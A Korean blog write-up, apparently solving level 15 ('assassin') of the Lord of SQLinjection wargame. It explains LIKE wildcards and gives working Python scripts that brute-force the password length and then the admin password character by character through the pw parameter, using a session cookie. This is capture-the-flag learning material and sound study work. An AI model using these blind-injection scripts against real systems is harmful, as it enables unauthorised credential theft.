LJ

Lord of SQLinjection ( 15번 ) assassin 본문

IT 보안/보안첼린지

Lord of SQLinjection ( 15번 ) assassin

짱준재 2024. 6. 11. 00:28

 

 

 

 

 

15번 어쌔신 문제이다.

 

 

 

 

 

admin의 pw의 값을 맞추면 

 

문제가 해결될 거같다.

 

 

SELECT * FROM 테이블 WHERE 컬럼 LIKE [PATTERN]
% 모든 문자
_ 한 글자
A% A로 시작하는 모든 문자
%A A로 끝나는 모든 문자
%A% A를 포함하는 모든 문자

 

 

 

위 코드의 쿼리의 like 절에 사용되는 패턴을 이용한 표이다.

 

 

 

 

 

 

모든 pw를 다 포함하므로 맨위에 있을 것으로 예상되는 guest가 먼저 나오게된다.

 

하지만 

 

우리는 admin의 비밀번호를 알아내야 한다.

 

그래서

 

'8_%'

'83_%' 

.

.

.

.

이런식으로도 진행할 수 있지만 간단한 코드로 일단 길이부터 구해보겠다.

 

 

import requests



def check_length(url,cookie):
    head={"PHPSESSID":f"{cookie}"}
    print("비밀번호 길이 확인 중......")
    for num in range(0,30):
        sh=num*'_'
        param=f"?pw={sh}"
        mine=url+param
        res=requests.get(mine,cookies=head)
        
        if("Hello guest" in res.text):
            return num
            
            
if __name__=="__main__":
    print("블라인드 공격 시작")
    url=input("URL:")
    cookie=input("cookie:")
    
    length=check_length(url,cookie)
    print(f"비밀번호의 길이는 {length}입니다.")
    exit

 

 

 

 

 

 

guest의 비밀번호가 8자리인지 확인하기 위해 ________ 를 이용해 15개까지 해본 결과 8자리 이내가 맞는 거같다.

 

 

 

 

import requests



def check_length(url,cookie):
    head={"PHPSESSID":f"{cookie}"}
    print("비밀번호 길이 확인 중......")
    for num in range(0,30):
        sh=num*'_'
        param=f"?pw={sh}"
        mine=url+param
        res=requests.get(mine,cookies=head)
        
        if("Hello guest" in res.text):
            return num
            
def check_pw(url,cookie,length):
    head = {"PHPSESSID":f"{cookie}"}
    jjang=""
    for len in range(1, length+1):
        print(f"{len}번째 비밀번호 확인중...")
        for wp in range(48,127):
            test=jjang+chr(wp)
            param=f"?pw={test}%"
            mine=url+param
            res=requests.get(mine, cookies=head)
            if("Hello guest" in res.text or "Hello admin" in res.text):
                print(f"{len}번째 문자 ->{test}")
                jjang+=chr(wp)
                break
    return jjang
            
if __name__=="__main__":
    print("블라인드 공격 시작")
    url=input("URL:")
    cookie=input("cookie:")
    
    length=check_length(url,cookie)
    print(f"비밀번호의 길이는 {length}입니다.")
    
    jjang=check_pw(url,cookie,length)
    print(f"비밀번호는 {jjang}입니다!!!!!!!!")
    
    exit

 

 

 

여기서 주의할 점은 wp 파라미터의 값을 48 즉 0부터 특수문자 제외하고 찾아낼 수 있게 하는 것이다.

그리고

Hello admin이 뜨지 않고 Hello guest가 떴다면, 이는 admin 계정과 guest 계정의 pw 첫번째 문자가 겹친다는 뜻이다. 둘의 문자가 같을 시 테이블 상 첫번째 레코드인 guest 계정이 fetch 되기 때문이다

 

 

 

 

전체를 구할 필요는 없지만 구해보았다

 

 

그리고 이 코드로 운이좋게도 admin으로 구했지만 코드를 다시 수정해야한다.

 

 

 

 

 

import requests



def check_length(url,cookie):
    head={"PHPSESSID":f"{cookie}"}
    print("비밀번호 길이 확인 중......")
    for num in range(0,30):
        sh=num*'_'
        param=f"?pw={sh}"
        mine=url+param
        res=requests.get(mine,cookies=head)
        
        if("Hello guest" in res.text):
            return num
            
def check_pw(url,cookie,length):
    head = {"PHPSESSID":f"{cookie}"}
    jjang=""
    for len in range(1, length+1):
        print(f"{len}번째 비밀번호 확인중...")
        for wp in range(48,127):
            test=jjang+chr(wp)
            param=f"?pw={test}%"
            mine=url+param
            res=requests.get(mine, cookies=head)
            if("Hello admin" in res.text):
                admin=test+"%"
                print(f"정답입니다 : {admin}")
                break
            elif("Hello guest" in res.text):
                print(f"{len}번째 문자 ->{test}")
                jjang+=chr(wp)
                break
    return admin
            
if __name__=="__main__":
    print("블라인드 공격 시작")
    url=input("URL:")
    cookie=input("cookie:")
    
    length=check_length(url,cookie)
    print(f"비밀번호의 길이는 {length}입니다.")
    
    admin=check_pw(url,cookie,length)
    print(f"비밀번호는 {admin}입니다!!!!!!!!")
    
    exit

 

 

 

이렇게 수정한 이유는 Hello admin이 뜨지 않고 Hello guest가 떴다면, 이는 admin 계정과 guest 계정의 pw 첫번째 문자가 겹친다는 뜻이다. 둘의 문자가 같을 시 테이블 상 첫번째 레코드인 guest 계정이 fetch 되기 때문이다.

 

정답입니다가 여러번 뜨지만 문제의 정답을 명확하게 구할 수 있었다.

Comments